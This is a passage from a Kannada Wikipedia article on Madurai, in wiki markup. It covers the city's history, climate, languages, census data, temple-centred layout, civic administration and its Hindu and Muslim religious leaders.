ಸುಂದರೇಶ್ವರರ್‌‌ನ ತಿರುವಿಲಾಯದಲ್‌ ಉಪಕಥೆಗಳೊಡನೆ ಸಂಬಂಧಿಸಿ ಹೇಳಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ಈಗಲೂ ದೇಗುಲಗಳ ಸಾಂಪ್ರದಾಯಿಕ ಜಾತ್ರೆ/ಉತ್ಸವಗಳಲ್ಲಿ ಇಟ್ಟು ಪೂಜಿಸಲಾಗುತ್ತದೆ<ref name="http://www.madurai.com/history.htm">{{cite web|url=http://www.madurai.com/history.htm |title=History of Madurai |publisher=www.madurai.com |date= |accessdate=2009-09-23}}</ref>. 3ನೇ ಶತಮಾನ BCಯಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ [[ಮೆಗಾಸ್ತನೀಸ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಭೇಟಿ ನೀಡಿದ್ದ. ನಂತರ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ದೇಶಗಳಿಂದ ಅನೇಕರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದಲ್ಲದೇ ಪಾಂಡ್ಯ ಅರಸರೊಡನೆ ವಾಣಿಜ್ಯ ವ್ಯವಹಾರಗಳನ್ನು ಆರಂಭಿಸಿದ್ದರು. ಪ್ರಾಚೀನ [[ಕುಮಾರಿ ಕಂದಂ]] ಎಂಬ ದಂತಕಥೆ/ಪುರಾಣದ ಪ್ರಕಾರ, ಲೋಕರೂಢಿಯಲ್ಲಿ ''ಥೆನ್‌ಮಧುರೈ'' ಅಥವಾ ''ದಕ್ಷಿಣ ಮಧುರೈ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿದ್ದ ಮೂಲ ಮಧುರೈ ನಗರವನ್ನು [[ತ್ಸುನಾಮಿ/ಸುನಾಮಿ]] ಅಲೆಗಳು ದಾಳಿ ಮಾಡಿ ನಾಶವಾಯಿತು. ಹೊಸದಾಗಿ ಕಟ್ಟಿದ ನಗರವು ಕಡೆಯ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಕೊನೆಯ [[ತಮಿಳು ಸಂಗಂ]] ಸಾಮ್ಯಾಜ್ಯಕ್ಕೆ ನೆಲೆಯಾಗಿತ್ತು. ಪ್ರಸಿದ್ಧ ರಾಷ್ಟ್ರಕವಿ [[ಸುಬ್ರಮಣ್ಯ ಭಾರತಿ]]ಯವರು 20ನೇ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಸೇತುಪತಿ ಪ್ರೌಢಶಾಲೆಯ [[ತಮಿಳು ಭಾಷಾ]] [[ಪಂಡಿತರಾಗಿ]]/ಶಿಕ್ಷಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು. ನೆರೆಯ [[ದಿಂಡಿಗಲ್‌]] ಜಿಲ್ಲೆಯಲ್ಲಿ ವಡಮಧುರೈ ಎಂಬ ಸಣ್ಣ ಪಟ್ಟಣವಿದೆ ಹಾಗೂ ಮತ್ತೊಂದು ನೆರೆಯ ಜಿಲ್ಲೆ ಸಿ/ಶಿವಗಂಗೈನಲ್ಲಿ ಮತ್ತೊಂದು [[ಮನಮಧುರೈ]] ಎಂಬ ಪಟ್ಟಣವಿದೆ. {{climate chart |Madurai |20|30|20 |21|32|13.5 |22.5|35|18 |25|37|55 |26|37|70 |26|36|40 |25|35.5|49.5 |25|35|104 |24|34|119 |24|32|188 |23|30|145 |21|29|51 |source=Nirvana Tour<ref>{{cite web|url=http://www.nirvanatour.de/india/clima.html|title=Temperature and Rainfall chart|publisher=Nirvana Tour|accessdate=2008-05-25|archive-date=2008-12-29|archive-url=https://web.archive.org/web/20081229150410/http://www.nirvanatour.de/india/clima.html|url-status=dead}}</ref> |float=right }} ಪಾಂಡ್ಯ<ref name="http://www.madurai.com/history.htm"/> ರ ಪ್ರಮುಖ ಶತೃಗಳಾದ ಚೋಳರು 10ನೇ ಶತಮಾನ ADಯಲ್ಲಿ ಮಧುರೈಯನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುವವರೆಗೆ ನಗರವು ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಲ್ಲಿತ್ತು. ಇದೇ ಸಹಸ್ರಮಾನದ ಆರಂಭದಲ್ಲಿ ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯದ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟುದದರಿಂದ ಮಧುರೈಯ ವೈಭವವು ತಗ್ಗಿದ ಪ್ರಮಾಣದಲ್ಲಾದರೂ ಮರಳಿತು ಹಾಗೂ ಮಧುರೈಯನ್ನು ನಾಯಕ್‌ ಚಕ್ರವರ್ತಿಗಳು ಆಳುತ್ತಿದ್ದರು, ಇವರಲ್ಲಿ ಪ್ರಥಮರು ತಿರುಮಲೈ ನಾಯಕರ್‌<ref name="http://www.madurai.com/history.htm"/>. == ಭೌಗೋಳಿಕ ಮತ್ತು ಹವಾಮಾನ ವಿವರ == [[ಚಿತ್ರ:Madurai 78.11654E 9.93331N.jpg|thumb|left|ಮಧುರೈ ನಗರ ಪ್ರದೇಶದ ಉಪಗ್ರಹ ನೋಟ]] ಮಧುರೈ ನಗರವು 52&nbsp;km²ದಷ್ಟು ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದ್ದು, ಪ್ರಸ್ತುತ 130&nbsp;km²<ref>{{cite web |url=http://www.madurai.com/general.htm |title=Madurai General Information |publisher= |accessdate=2008-06-15}}</ref> ನಷ್ಟು ನಗರಪ್ರದೇಶವನ್ನು ಒಳಪಡುವಷ್ಟು ವಿಸ್ತಾರವಾಗಿದ್ದು, {{Coord|9.93|N|78.12|E|}}ಯಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ.<ref>{{cite web |url=http://www.fallingrain.com/world/IN/25/Madurai.html |title=Maps, Weather, and Airports for Madurai, India |publisher=Falling Rain Genomics, Inc |accessdate=2008-06-15}}</ref> ಈ ನಗರವು ಸಮುದ್ರ ತಳ ಮಟ್ಟದಿಂದ 101 ಮೀಟರ್‌ಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿದೆ. ಅಕ್ಟೋಬರ್‌-ಡಿಸೆಂಬರ್ ಅವಧಿಯಲ್ಲಿ [[ಈಶಾನ್ಯ ಮುಂಗಾರಿನ]] ಮಳೆಯೊಂದಿಗೆ ಹವಾಗುಣವು ಒಣ ಹಾಗೂ ಬಿಸಿಯಾಗಿರುತ್ತದೆ. ಬೇಸಿಗೆ ಕಾಲದ ಉಷ್ಣತೆಯು ಗರಿಷ್ಠ 40 ಮತ್ತು ಕನಿಷ್ಠ 26.3 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ನಷ್ಟಿದ್ದರೂ 43 ದಿಗ್ರಿಗಳ ಮೇಲಿನ ತಾಪಮಾನವೂ ಅಸಹಜವೇನಲ್ಲ. ಚಳಿಗಾಲ ತಾಪಮಾನವು 29.6ರಿಂದ 18 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ವರೆಗೆ ಇರುತ್ತದೆ. ಸರಾಸರಿ ವಾರ್ಷಿಕ ಮಳೆಯ ಪ್ರಮಾಣ 85 cmನಷ್ಟಿರುತ್ತದೆ. == ಭಾಷೆ == ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತದ ಪ್ರದೇಶಗಳಲ್ಲಿ [[ತಮಿಳು]] ಪ್ರಧಾನ ಭಾಷೆಯಾಗಿದೆ. [[ಮಧುರೈನ ತಮಿಳು]] ಪ್ರಭೇದವು ಇತರೆ [[ತಮಿಳು]] ಪ್ರಭೇದಗಳಾದ [[ಕೊಂಗು ತಮಿಳು]] ಮತ್ತು [[ನೆಲ್ಲೈ ತಮಿಳು]]ಗಳಿಗಿಂತ ಅಲ್ಪ ವ್ಯತ್ಯಾಸ ಹೊಂದಿದೆ. ತಮಿಳಿನೊಂದಿಗೆ ಬಳಕೆಯಲ್ಲಿರುವ ಇತರೆ ಭಾಷೆಗಳೆಂದರೆ [[ಆಂಗ್ಲ]], [[ತೆಲುಗು]], [[ಸೌರಾಷ್ಟ್ರ]] ಹಾಗೂ [[ಉರ್ದು]] ಭಾಷೆಗಳು,. ಆದಾಗ್ಯೂ ಇವುಗಳಲ್ಲಿ ಕೆಲ ಭಾಷೆಗಳ ಪದಗಳು ತಮಿಳು ಪದಗಳನ್ನು ಸೇರಿಸಿಕೊಂಡಿವೆ. == ಜನಸಾಂದ್ರತೆ == 2001ರ ಭಾರತೀಯ [[ಜನಗಣತಿ]]<ref name="census">{{cite web |url=http://www.census.tn.nic.in/pca2001.aspx |title=TN(India)Census within Corporation limit |publisher=Tamil Nadu Census |date= |accessdate=2009-09-24 |archive-date=2009-06-07 |archive-url=https://www.webcitation.org/5hLZ0ljez?url=http://www.census.tn.nic.in/pca2001.aspx |url-status=dead }}</ref> ಯ ಪ್ರಕಾರ, ಮಧುರೈ ನಗರವು ಪೌರಸಂಸ್ಥೆಗಳ ವ್ಯಾಪ್ತಿಯ ಪ್ರದೇಶದಲ್ಲಿ 928,869ರಷ್ಟು ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದ್ದು, ನಗರ ಪ್ರದೇಶದಲ್ಲಿನ ಜನಸಂಖ್ಯೆ 1,194,665ರಷ್ಟಿದೆ. ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ 51% ಪುರುಷರೂ ಮತ್ತು 49% ಮಹಿಳೆಯರೂ ಇದ್ದಾರೆ. ಮಧುರೈ ನಗರವು ಸರಾಸರಿ ರಾಷ್ಟ್ರೀಯ ಸಾಕ್ಷರತೆಯ ಪ್ರಮಾಣವಾದ 59.5%ನ್ನೂ ಮೀರಿಸಿ ಸರಾಸರಿ 79%ರಷ್ಟು ಸಾಕ್ಷರತೆ ದರ ಹೊಂದಿದೆ: ಪುರುಷರ ಸಾಕ್ಷರತೆ 84%ರಷ್ಟಿದ್ದರೆ, ಮಹಿಳೆಯರ ಸಾಕ್ಷರತೆ 74%ರಷ್ಟಿದೆ. ಮಧುರೈನಲ್ಲಿ, ಜನಸಂಖ್ಯೆಯ 10%ರಷ್ಟು ಭಾಗ 6 ವರ್ಷದೊಳಗಿನವರಾಗಿದ್ದಾರೆ. ಪ್ರತಿ 1,000 ಪುರುಷರಿಗೆ 968 ಸ್ತ್ರೀಯರಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.tn.gov.in/dear/Women%20empower.pdf|format=PDF|title=Women Development|access-date=2009-12-22|archive-date=2009-03-04|archive-url=https://web.archive.org/web/20090304045935/http://www.tn.gov.in/dear/Women%20empower.pdf|url-status=dead}}</ref> == ವಾಸ್ತು ಶಿಲ್ಪ == [[ಚಿತ್ರ:Vaigai-MDU.jpg|thumb|right|ವೈಗೈ ನದಿಯ ಒಂದು ನೋಟ]] ಮಧುರೈ ನಗರವನ್ನು ಮೀನಾಕ್ಷಿ ಸುಂದರೇಶ್ವರರ್‌ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದು ಕಟ್ಟಲಾಗಿದೆ. ಬ್ರಹ್ಮಾಂಡದ ರಚನೆಯನ್ನು ಸಂಕೇತಿಸುವಂತೆ ಕೇಂದ್ರಿತ ಚತುಷ್ಕೋನಾಕೃತಿ ರಸ್ತೆಗಳು ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿವೆ. ಇಡೀ ನಗರವನ್ನು [[ಕಮಲ]]ದ<ref name="http://www.madurai.com/history.htm"/> ಹೂವಿನ ಆಕೃತಿಯಲ್ಲಿ ಕಟ್ಟಲಾಗಿದೆ. ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳಲ್ಲಿ ಕೆಲವು ರಸ್ತೆಗಳಿಗೆ ತಮಿಳು ತಿಂಗಳುಗಳ ಹೆಸರನ್ನಿಡಲಾಗಿದೆ. ಮೀನಾಕ್ಷಿ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿರುವ ಆರು ಪ್ರಮುಖ ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳೆಂದರೆ ಆದಿ,ಚಿತಿರೈ,ಆವನಿ ಮೂಲಾ,ಮಾಸಿ,ಮಾರತ್‌ ಮತ್ತು ವೇಲಿ ರಸ್ತೆಗಳು. == ಪೌರಾಡಳಿತ == ಇಡೀ ಮಧುರೈ ಜಿಲ್ಲೆಯು ಮಧುರೈ ಜಿಲ್ಲಾಧಿಕಾರಿಗಳ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿದೆ ಹಾಗೂ ನಗರಸಭೆಯ ಪರಿಧಿಯಲ್ಲಿನ ಪ್ರದೇಶಗಳು ಮಧುರೈ [[ನಗರಸಭೆ]]ಯ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿವೆ. 1971ರಲ್ಲಿ ಚೆನ್ನೈ <ref>{{cite web |url=http://203.101.40.168/newmducorp/aboutus.htm |title=Welcome to Madurai Corporation - All About Madurai Corporation |publisher=203.101.40.168 |date= |accessdate=2009-09-23 |archive-date=2009-02-13 |archive-url=https://web.archive.org/web/20090213062200/http://203.101.40.168/newmducorp/aboutus.htm |url-status=dead }}</ref> ನಂತರ ರಚಿಸಲಾದ ಎರಡನೇ ನಗರಸಭೆಯಾಗಿತ್ತು. ಈ ನಗರಸಭೆಯು ಅಭಿವೃದ್ಧಿ ಕೆಲಸಗಳನ್ನು ಉತ್ತಮ ರೀತಿಯಲ್ಲಿ ಕೈಗೊಂಡಿದ್ದಕ್ಕಾಗಿ 2008ನೇ ಸಾಲಿನ ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಪಡೆದಿದೆ <ref name="award">{{cite news |url=http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |title=Madurai Corporation bags three national awards |publisher=The Hindu |date=2008-12-09 |accessdate=2009-09-24 |archive-date=2008-12-12 |archive-url=https://web.archive.org/web/20081212155251/http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |url-status=dead }}</ref>. ಅಲ್ಲಿನ ಮೇಯರ್‌/ನಗರಸಭಾದ್ಯಕ್ಷರು ಪುರಸಭೆಯ ಶಾಲಾ ಮಂಡಳಿ, ನಗರ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ, ಪುರಸಭೆಯ ಆಸ್ಪತ್ರೆ ಮತ್ತು ನಗರದ ಗ್ರಂಥಾಲಯಗಳ ದೈನಂದಿನ ಚಟುವಟಿಕೆಗಳಿಗೆ ಬಾಧ್ಯಸ್ಥರಾಗಿರುತ್ತಾರೆ. ನಗರವು [[ಮಧುರೈ ಜಿಲ್ಲಾ]] ಕೇಂದ್ರವಾಗಿ ಹಾಗೂ [[ಮದ್ರಾಸ್‌ ಉಚ್ಚನ್ಯಾಯಾಲಯ]]ದ ಮಧುರೈ ಪ್ರಾಂತ್ಯದ ಪೀಠವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಉಚ್ಚನ್ಯಾಯಾಲಯದ ಪೀಠವು 24-07-2004ರಿಂದ ಜಾರಿಗೆ ಬರುವಂತೆ [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ತೂತುಕುಡಿ]], ಮಧುರೈ, [[ದಿಂಡಿಗಲ್‌]], [[ರಾಮನಾಥಪುರಂ]], [[ವಿರುಧುನಗರ್]]‌, [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ಪುದುಕ್ಕೊಟ್ಟೈ]], [[ತಂಜಾವೂರು]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ಕರೂರು]]<ref>{{cite web |url=http://www.hcmadras.tn.nic.in/mduhist.htm |title=Madras High Court |publisher=Hcmadras.tn.nic.in |date=2004-07-24 |accessdate=2009-09-23 |archive-date=2009-08-23 |archive-url=https://web.archive.org/web/20090823042805/http://www.hcmadras.tn.nic.in/mduhist.htm |url-status=dead }}</ref> ಜಿಲ್ಲೆಗಳ ಕಾರ್ಯವ್ಯಾಪ್ತಿಯನ್ನು ಹೊಂದಿದೆ. ನಗರದಲ್ಲಿ ಪಾಸ್‌ಪೋರ್ಟ್‌ ಕಛೇರಿಯಿದೆ ಮತ್ತು ಮಧುರೈ, ಥೇಣಿ, ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ, ವಿರುಧುನಗರ್‌, ರಾಮನಾಥಪುರಂ, ತೂತುಕುಡಿ, ತಿರುನಲ್ವೇಲಿ, ಕನ್ಯಾಕುಮಾರಿ & ದಿಂಡಿಗಲ್‌‌/ದಿಂಡುಗಲ್‌ ಜಿಲ್ಲೆಗಳು ಇದರ ಕಾರ್ಯವ್ಯಾಪ್ತಿಗೆ ಒಳಪಡುತ್ತವೆ <ref>{{cite web|url=http://passport.gov.in/madurai.html |title=:: Welcome to Passport Office Madurai :: |publisher=Indian Passports |date= |accessdate=2009-09-24}}</ref>. ನಗರವು ಉದ್ಯೋಗ ಮಾಹಿತಿ ಕಚೇರಿಯನ್ನು ಸಹಾ ಹೊಂದಿದ್ದು, [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯ ಶಿಕ್ಷಿತ ಅಭ್ಯರ್ಥಿಗಳು ತಮ್ಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಗಳೊಂದಿಗೆ ತಮಿಳುನಾಡು ಸರ್ಕಾರದ ಉದ್ಯೋಗಾವಕಾಶಗಳಿಗಾಗಿ ನೋಂದಣಿ ಮಾಡಿಸುತ್ತಾರೆ. ಇದೇ ಕಚೇರಿಯು [[ತಮಿಳುನಾಡಿ]]ನ ಎಲ್ಲಾ ದಕ್ಷಿಣ ಜಿಲ್ಲೆಗಳ ಹಾಗೂ ಕೆಲ ಪಶ್ಚಿಮ ಜಿಲ್ಲೆಗಳ ದಕ್ಷಿಣ ಸ್ನಾತಕೋತ್ತರ ಪದವೀಧರರ ಮತ್ತು ವೃತ್ತಿಪರ ಪದವೀಧರರ ನೋಂದಣಿ ಕೇಂದ್ರವಾಗಿ ಸಹಾ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. == ಮಧುರೈನ ಧಾರ್ಮಿಕ ಮುಖ್ಯಸ್ಥರು == ಅತ್ಯಂತ ಪ್ರಾಚೀನ ಜನವಸತಿಯ ನಗರವಾಗಿರುವ ಕಾರಣ, ಮಧುರೈ ನಗರವು ತನ್ನ ವೈವಿಧ್ಯಮಯ ಸಂಸ್ಕೃತಿ <ref>{{Cite web |url=http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-08-08 |archive-date=2008-04-16 |archive-url=https://web.archive.org/web/20080416223435/http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |url-status=dead }}</ref> ಮತ್ತು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಪ್ರಸಿದ್ಧವಾಗಿದೆ. '''''ಮುಮ್ಮದ ತಲೈವರ್‌ಗಳ್'' ''' ‌(ಮೂರು ಧರ್ಮಗಳ ಮುಖಂಡರು) ಎಂಬ ಪ್ರಸಿದ್ಧ ಹೆಸರಿನಿಂದ ಕರೆಯಲಾಗುವ ಮೂರು ಮಂದಿ ಧಾರ್ಮಿಕ ಮುಖಂಡರು ಮಧುರೈಯನ್ನು ಶಾಂತಿಯಿಂದಿರಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತಿರುತ್ತಾರೆ. === ಆಧೀನಮ್‌‌ === [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]] ಅವಧಿಯಲ್ಲಿ ರಚಿಸಲಾದ ಭಾರತದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಹಳೆಯದಾದ [[ಮಠ]]ಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಇದರ ಸ್ಥಾಪನೆಯ ಕಾಲದಿಂದಲೇ ಬಹಳ ಸ್ಥಿರಾಸ್ಥಿಗಳನ್ನು ದಾನವಾಗಿ ನೀಡಲಾಗಿದೆ. ಮಧುರೈ ಆಧೀನಮ್‌ನ ಐತಿಹ್ಯವು '''1300 ವರ್ಷಗಳ''' ಷ್ಟು ಹಳೆಯದಾದುದು ಹಾಗೂ [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]]ರು ಮಧುರೈ ಆಧೀನಮ್‌ನ 1ನೇ ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಂ ಆಗಿದ್ದರು. ಮಧುರೈನ ಆಧೀನಮ್‌ ಮಠದ ಮುಖಂಡತ್ವವನ್ನು/ಮುಖ್ಯಸ್ಥ ಸ್ಥಾನವನ್ನು ಗುರು ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಮ್‌ರವರು ವಹಿಸಿರುತ್ತಾರೆ. ಶೈವ ಪಂಥಕ್ಕೆ ಸೇರಿದ್ದರೂ ಆಧೀನಮ್‌ರನ್ನು ಮಧುರೈನ ಎಲ್ಲಾ ಶೈವರು ಹಾಗೂ ವೈಷ್ಣವ ಹಿಂದೂಗಳ ಧಾರ್ಮಿಕ ಮುಖಂಡರನ್ನಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. '''ಗುರು ಮಗಾ ಸನ್ನಿಧಾನಂರಾದ ಅರುಣಾಚಲಂ ಸ್ವಾಮಿ''' ಯವರು ಪ್ರಸ್ತುತ ಆಧೀನಂರಾಗಿರುವ ತಮ್ಮ ವಂಶಾವಳಿಯ 292ನೇ ಆಧೀನಂರಾಗಿದ್ದಾರೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ವೇದಗಳು, ಕುರಾನ್‌‌ ಮತ್ತು ಬೈಬಲ್‌ಗಳಲ್ಲಿ ಪಾರಂಗತರಾಗಿದ್ದಾರೆ. [[ಹಿಂದೂ]] ಧರ್ಮಕ್ಕೆ ಸೇರಿದ ಎಲ್ಲಾ ಪ್ರಮುಖ ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳಲ್ಲಿ ಭಾಗವಹಿಸುವ ಆಧೀನಂರು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯದ ಸಭೆಗಳಲ್ಲಿ ಕೂಡಾ ಭಾಗವಹಿಸುತ್ತಾರೆ. ನಗರದಲ್ಲಿ ನಡೆಯುವ ಕುಂಭಾಭಿಷೇಕಗಳು, ಮೀನಾಕ್ಷಿ-ಷೊಕ್ಕರ್‌ ವಿವಾಹಮಹೋತ್ಸವ, [[ವೈಗೈ]]ಗೆ ಅಜಗರ್‌ನ ಪ್ರವೇಶ ಹಾಗೂ ಇನ್ನಿತರ ಹಿಂದೂ ಮಹೋತ್ಸವಗಳಲ್ಲಿ ಆಧೀನಮ್‌ರ ಮುಖಂಡತ್ವದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ತಮ್ಮ ಜೀವಿತಾವಧಿಯಲ್ಲಿಯೇ ತಮ್ಮ ಉತ್ತರಾಧಿಕಾರಿಯನ್ನು ನೇಮಕ ಮಾಡುತ್ತಾರೆ, ಹಾಗೆ ನೇಮಕರಾದವರು ಅವರ ನಂತರ ಅಧಿಕಾರ ಪಡೆಯುತ್ತಾರೆ. === ಖಾಜಿ/ಖಾಝಿಯಾರ್‌‌ === ಮಧುರೈನಲ್ಲಿ ಖಾಝಿ ಎಂದರೆ [[ಮುಸ್ಲಿಮರ]] ಧಾರ್ಮಿಕ ಮುಖಂಡ ಹಾಗೂ ನ್ಯಾಯಾಧೀಶರನ್ನು [[ತಮಿಳುನಾಡು]] ಸರಕಾರವು ನೇಮಿಸುತ್ತದೆ. ಮಧುರೈನಲ್ಲಿನ ಖಾಜಿಗಳ ಐತಿಹ್ಯವು '''750 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು. ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಸುಲ್ತಾನರ ಸರ್ಕಾರದ 1ನೇ ಖಾಝಿ/ಜಿಯಾಗಿದ್ದರು. ಮಧುರೈನಲ್ಲಿ [[ತಮಿಳುನಾಡು]] ಸರ್ಕಾರದ ಮೂಲಕ ಇಂದಿಗೂ ಆತನ ವಂಶಸ್ಥರನ್ನೇ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಿಸಲಾಗುತ್ತದೆ. ಹಝರತ್‌ ಮೌಲಾನಾ ಮೌಲ್ವಿ, ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ರಹಮುತುಲ್ಲಾಹಿ ಅಲೈಹಿ, (ಮಧುರೈನ [[ಮಕಬರಾ]] ಹಝರತ್‌ಗಳಲ್ಲಿ ಮೊದಲನೆಯವರು), ಮೌಲಾನಾ ಆಗಿದ್ದ ಸೈಯೆದ್‌ ಅಬ್ದುಲ್‌ ಖಾದಿರ್‌ ಇಬ್ರಾಹಿಂ, ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಮ್ಜದ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಝರತ್‌ರವರುಗಳು ತಮ್ಮ ಅವಧಿಯಲ್ಲಿ ಸರಕಾರದ ಪರವಾಗಿ ಗಣನೀಯ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ<ref>{{cite web|url=http://www.shazuli.com/aboutus.html |title=Fassiyathush Shazuliya &#124; tariqathush Shazuliya &#124; Tariqa Shazuliya &#124; Sufi Path &#124; Sufism &#124; Zikrs &#124; Avradhs &#124; Daily Wirdh &#124; Thareeqush shukr &#124;Kaleefa's of the tariqa &#124; Sheikh Fassy &#124; Ya Fassy &#124; Sijl &#124; Humaisara &#124; Muridheens &#124; Prostitute Entering Paradise |publisher=Shazuli.com |date=2007-04-02 |accessdate=2009-09-23}}</ref>. ನಗರದ ಖಾಜಿಯಾರ್‌, ಖಾಜಿಸಾಬ್‌, ನಗರದ ಖಾಜಿಸಾಬ್‌ etc. ಎಂದೆಲ್ಲಾ ಜನರಿಂದ ಪ್ರೀತಿಪೂರ್ವಕವಾಗಿ ಕರೆಯಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದ [http://www.themadurai.info ಮಧುರೈ] {{Webarchive|url=https://web.archive.org/web/20181216163332/https://themadurai.info/ |date=2018-12-16 }} ನ 19ನೇ ಖಾಜಿಯಾರ್‌ ಆದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂರವರು ತಮ್ಮ ಸರಳತೆ ಹಾಗೂ ನಗರದ ಮುಸ್ಲಿಮರ ಸಾರಸ್ವತ/ಸಾಹಿತ್ಯಿಕ/ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಆರ್ಥಿಕ ಔನ್ನತ್ಯಕ್ಕಾಗಿ ಶ್ರಮಿಸಿದುದಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಮಧುರೈನ ಪ್ರಸ್ತುತ ಖಾಜಿಯಾರ್‌ '''ಮೌಲ್ವಿ.''' '''A.ಸೈಯೆದ್‌ ಖಾಜಾ ಮೊಯಿ/ಮುಯಿನುದ್ದೀನ್‌''' ರು ಮಧುರೈನ ಖಾಜಿಯಾರ್‌ಗಳ ವಂಶಾವಳಿಯಲ್ಲಿ 20ನೆಯವರು, ಇವರು ಆಧೀನಂರಾದ ಕುಂದ್ರಕ್ಕುಡಿ ಅಡಿಗಳಾರ್‌ ಮತ್ತು ಆರ್ಚ್‌ ಬಿಷಪ್‌ರೊಡನೆ ಮಧುರೈನಲ್ಲಿನ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕಾಗಿ ನಡೆಸುತ್ತಿರುವ ಚಟುವಟಿಕೆಗಳಿಗಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯತೆಗಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುವುದಲ್ಲದೇ ಪ್ರಸಕ್ತ ಖಾಜಿಯಾರ್‌ರು ಬಡಾವಣೆಗಳಲ್ಲಿನ ಮುಸ್ಲಿಮರ ರಾಜಕೀಯ ಅಭ್ಯುದಯಕ್ಕಾಗಿ ಸಹಾ ಟೊಂಕಕಟ್ಟಿದ್ದಾರೆ. ಅರಸರದಿಯ ಈದ್ಗಾ ಮೈದಾನದಲ್ಲಿ ನಡೆಯುವ [[ಈದ್‌ ಉಲ್‌-ಫಿತರ್‌]] ಮತ್ತು[[ಈದ್‌ ಅಲ್‌-ಅದಾ]]ಗಳ ಸಾಮೂಹಿಕ ಪ್ರಾರ್ಥನೆಗಳ ಮುಂದಾಳತ್ವ ವಹಿಸುತ್ತಾರೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ, [[ಇಸ್ಲಾಮಿನ]] [[ಮುಹರ್ರಮ್‌]] ತಿಂಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಸುನ್ನಿ ಮುಸ್ಲಿಮರ 23 ದಿನಗಳ [[ಆಷುರಾ]] ಧಾರ್ಮಿಕ ಕೂಟದ ಮುಂದಾಳತ್ವವನ್ನೂ ಅವರೇ ವಹಿಸುತ್ತಾರೆ. 